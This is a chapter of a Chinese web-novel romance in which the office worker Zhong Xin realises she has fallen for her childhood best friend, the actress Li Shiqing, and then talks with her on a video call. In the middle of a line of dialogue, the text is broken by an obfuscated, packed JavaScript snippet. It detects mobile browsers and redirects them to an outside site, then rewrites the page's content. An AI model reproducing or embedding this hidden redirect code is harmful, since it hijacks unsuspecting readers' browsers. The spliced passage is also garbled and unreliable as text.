“施情，施情……”钟心连连唤着她的名字。 视线被一双手捂住，而嘴唇也被人堵住。 濡湿，柔软，馨甜。 啄吻，含弄，长驱直入。 这感觉太让人舒适而沉醉，钟心的身体在极尽配合地享受，大脑却在不断地发出质问。 谁在吻她？而她又在吻谁？ 11.第 11 章 钟心从来没有睡过这样累的一场觉。 她感觉自己的灵魂和身体都被拆解了，分成了无数个散落的段落，无法拼凑成一个完整的个体。 与此同时，这些天以来，她那些暂时隐藏和搁置的异样的感受，也避无可避地冲了上来，达到了不容忽略的顶峰。 闹钟还没响，被子罩在身体上，钟心睁着眼睛望着天花板，晨光驱散了黑暗，像迷茫的雾一样笼罩着。 身体发酸发软，大脑却异常兴奋。 有个声音在脑袋里一直叫嚣着： 钟心， 你遭了的， 你完蛋了。 你做了春梦， 你好像喜欢上 自己的闺蜜了。 啊…… 钟心想要呐喊，却毫无力气和手段。 班还要继续上，但是上班时间，再也不能用刷李施情的视频来摸鱼了。 因为她的脑袋里已经满是这条鱼了。 就像徐锦书说的那样，做演员很不错。做演员有它的特殊性，它将一个现实里的人分成了两块，一块是角色里的李施情、广告里的李施情、大明星李施情，一块是那个做了她高中三年同桌的李施情，大学时拉着她去看演出的李施情，现在手机里，没事就要给她发两条消息的李施情。 她喜欢的到底是哪个李施情？ 她喜欢的是角色的魅力？明星的光环？还是她那个活生生的，在她面前有笑有泪的朋友？ 她是一时间的身体激素上头？是混淆了友情和爱情的概念？还是从此之后，就深陷其中，非她不可了？ 钟心连自己都搞不清。 钟心根本无法思索更远一层的内容。 比如，李施情喜不喜欢她？李施情怎么可能喜欢她？如果成为不了恋人，她连最重要的朋友都要失去一半…… 啊…… 钟心抱住了脑袋，痛苦地瘫在了办公桌上。 同事路过，问她：“心心，晚上有什么事吗？要不要一起去吃楼下那家新开的店？” “有事。”钟心灵光一闪，她向来是一个越挫越勇的性格，她的疑问，她要努力地去寻求答案，“我要去看电影。” 同事：“什么电影？最近有什么好看的电影吗？” 钟心：“《夜航船》，还不错，文艺片。” 同事拿起手机：“我瞅瞅简介……” 钟心：“还没有公映，今天要看得去北郊的奥斯卡。” 北郊的奥斯卡影城，特别远，行政划分都不在S市了。 坐地铁过去得两个小时，坐高铁倒是可以快一些，来回折腾一下，一个小时也能到。 同事瞠目结舌：“要跑那么远去看吗？时间不够呀，明天还要上班。你周末没去看吗？” 钟心：“看了。二刷。” “这么喜欢啊？”同事刷着手机页面，“诶，李施情主演的？我就说你是她的粉丝吧，你之前还不承认……” 之前不承认，是不想让别人发现，自己公器私用，上班摸鱼。 可现在，比起承认自己喜欢上了好闺蜜，承认自己只是李施情的粉丝可简单多了。 “嗯，我是。”钟心大方道，开口的散漫语调有一些破罐子破摔的嫌疑，“我很喜欢她，她演技好绯闻少，敢拼敢闯。” “喜欢女明星好啊，不容易塌房。”同事拍拍她的肩，“那我就不陪你去追星了啊，实在是太远了。” “嗯。”钟心默默应下。 话这么说了，就是要这么干。 昨天电影看到正激烈的时候，被徐锦书的手掌打断。钟心有理由怀疑，自己的大脑就像是那种“不让干什么就非要干”的叛逆小孩一样，没看到想看的，便晚上乱做梦，便分泌多巴胺荷尔蒙，便胡思乱想假□□恋。 钟心这就去满足它。 满足它，也冷静冷静自己。 下班后，她出门打车，快速奔去了高铁站，直达北郊。 这次她没有提前做什么准备，也没有约任何人，独自一人坐在影厅的角落里，连帽衫罩在脑袋上，只静静地观赏未看完全的电影。 然后她发现，根本毫无冷静可言。 人满足了自己，只会想要更满足自己。 那些李施情在电影里的激情片段，她看完了，只想再刷一遍。再再再刷一遍，把每一个动作，每一个眼神，剪辑出来，反复观看。 她成为了李施情的狂热粉丝。 她成了拼命欣赏李施情性魅力的梦女。 她在电影结束后，接到来自李施情的电话，血液沸腾，心跳得快要冲出胸膛。 她挂了李施情的电话。 因为紧张、兴奋和无措。 快步行进在路上，秋风把她的头发吹起，又狠狠地拍回到她脸上。 路灯下打着旋的树叶落到她的脚底，“咔嚓”一声，踩碎了。 她甚至没有方向，就这么急匆匆地往前冲了一阵，直到运动带来的心跳频率掩盖了来自李施情的冲击。 猛然停下。 她得给李施情回个电话。 李施情那么忙，好不容易有时间才给她打个电话。万一有事呢？万一没事就是……想她了呢？ 钟心深呼吸，手指点在手机屏幕上，控制不住地微微颤抖。 语音通话的请求，拨出去一秒钟，便被挂断了。 心脏在高点往下坠。 下一瞬，手机响起来，是来自李施情的视频通话请求。 还未坠落到底的心脏，又高高地抛了上去。 这次再没有一丝犹豫，钟心接起了电话。 “嗨……”语气比以前，温柔好多。 视频里的李施情，是在化妆间里。 光线明亮的房间，明媚的美丽的一张脸。 睫毛被刷的又卷又翘，粉绿色的充满春天气息的眼影，还有亮晶晶的玻璃唇。 那惑人的唇瓣撅了起来，眉头皱着，一个不甚满意的表情：“还以为你要看不到了呢~我马上就要卸妆了~刚才干什么呢？怎么都不接我电话？” 语调甜腻，是毫不掩饰的撒娇。 钟心似乎又闻到了那樱桃的香味，又回到了那旖旎的梦里。 她的耳朵，她的眼睛，她的心脏，都被李施情满满地撒了一层蜜糖。 回话的语调便变得更加柔和，开口的声音钟心自己都惊诧。 “刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457145|185297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在电影院呢，看完了刚出来。” 李施情眨着大眼睛，抬手撑住了下巴：“看谁的电影呢，那么认真……” 钟心嗓子发干：“你的。” “啊……”李施情愣了愣，她突然凑近了镜头，拿自己的美貌肆无忌惮地对钟心进行攻击，“《夜航船》吗？不是说了昨天看吗？我还等着你昨天看完给我发观后感呢~” 钟心：“昨天看了，今天也看了。” 李施情：“！！！！” 震惊溢于言表。 李施情还在往前凑，眼睛左右转动，几乎要把手机屏幕里的人看穿了：“所以你周末看了一遍还不够，今天上完班还要再看一遍？是不是跑的很远？时间这么晚了，回去要多久？” 钟心张了张嘴，无法回答。 她的心脏还在异样的跳动，她举着手机的掌心发了一层薄汗。她不敢向李施情诉说真正的缘由，她甚至不敢暴露过多的信息，她怕李施情敏锐地察觉，然后一切便走向了不可测的深渊。 “我……”钟心艰难地发出一个字音。 “你现在站那别动。”李施情也不让她多说，“镜头转一下，我看看。” 钟心想要犹豫，却也不敢犹豫，只能顺从指令，安慰自己起码不是自己主动的。 镜头转过了一圈，李施情的声音拔高了：“你在北郊？？？天呐，有那么好看吗？ “还是说太难看了，你觉得我要扑街扑死了，所以想疯狂地给我刷票房？” 钟心：“……” 李施情：“这个点了，你怎么回去啊？” “高铁……”钟心一怔，“没班次了，坐地铁吧。” 李施情的眉头皱得可紧，她那完美的漂亮的造型也不给钟心展示了。手机的幅度变了，哒哒的打字声响在钟心的耳朵里。 “你去找个便利店或者奶茶店坐着，我给你叫车。” 这样麻烦别人，钟心有点慌张：“我可以自己打车的，刚才就是一时间没反应上来，打车回去也没太贵。” 李施情：“打车我不放心，我在联系我朋友，女生。” 呜…… 如此贴心的关心，让钟心的胸口涌起一阵酸涩。 她是在被感动，可怀揣了一个巨大秘密的她，在被感动的同时，已经在担忧之后失去这样的关心的日子了。 “施情……”她想和李施情说点什么。 李施情忙着联系车辆，垂着视线的眼睫像又黑又密的丛林：“嗯？” 手机突然震动了起来，在钟心的掌心里，跳得如同她的心跳。 和李施情的视频页面被截断，取而代之的，是徐锦书的电话。 “啊……”钟心所有的情绪都转了个弯，她立刻道，“情情，锦书的电话。” “徐、锦、书。”李施情一字一顿的念这个名字，“我怎么把她给忘了呢？她在S市吧？让她来接你。” 徐锦书的电话还在跳，钟心乱成了一团糟：“不用不用不用，她很忙的，过来也要好久的，我自己可以回去的，我……” 李施情打断了她的话：“你不好意思说，那我给她打电话喽。你们两小无猜青梅竹马的，接个人算什么麻烦啊。”